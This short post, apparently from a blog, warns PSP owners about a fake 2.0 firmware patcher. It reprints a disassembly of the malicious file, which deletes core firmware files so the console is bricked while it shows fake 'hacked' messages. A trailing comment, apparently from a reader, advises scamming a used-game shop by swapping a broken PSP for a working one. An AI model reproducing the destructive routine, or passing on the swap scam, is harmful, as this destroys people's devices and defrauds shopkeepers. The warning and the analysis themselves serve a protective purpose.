Fake Patcher Bricks Your PSP
Ever since Sony released a 2.0 firmware update for the PSP, programmers have been scrambling to update their homebrew PSP games. One quick fix would be to have a 2.0 patcher to update all your old homebrew apps.Well, let's just say the quick way isn't always the best way. A hacker exploited this situation and basically created a PSP patcher virus. If you install the fake patch, it will brick* your PSP and will void your warranty.
A programmer named Skylark, has disassembled the fake update file. Take a look:
_start:
call main()
while(1)
sceIoAssign:
syscall 0x20a8
sceIoRemove:
syscall 0x209e
main:
call FillVram(0)
call Print(1,1,0xFFFFFF,"PSP TEAM 2.0 Exploit Hack the 2.0 firmware")
call Print(1,2,0xFFFFFF,"Thanks to toc2rta for the 2.0 exploit :) ")
call sceIoAssign("flash6:", "lflash0:0,0", "flashfat2:", 0, 0, 0)
call sceIoRemove("flash6:/vsh/etc/index.dat")
call sceIoRemove("flash6:/kd/loadcore.prx")
call sceIoRemove("flash6:/kd/loadexec.prx")
call sceIoRemove("flash6:/kd/init.prx")
call Print(1,4,0xFFFFFF," Your 2.0 is hacked please reboot ")
call Print(1,5,0xFFFFFF," Thank you PSP Team the french team")
call Print(1,6,0xFFFFFF," FuCk yoshihiro and SonyxTeam Looser")
Please be warned, this fake patch will delete important file(s) from your firmware, and thus making your PSP broken!!
If you do brick your PSP, you will have to replace the motherboard.
*Brick - a piece of electronics so severely damaged that it only has the functionality of a rock or a brick.

if you ever brick up your psp.. just go to a place that sells used psps.. and place your broken psp in your pocket.. take all your information out of it and games.. Asked the man behind the counter if he can plug the psp in.. when he goes under the counter... switch his psp with yours... then say.. I can't get this to work... and there you go.. not honest.. but it works..
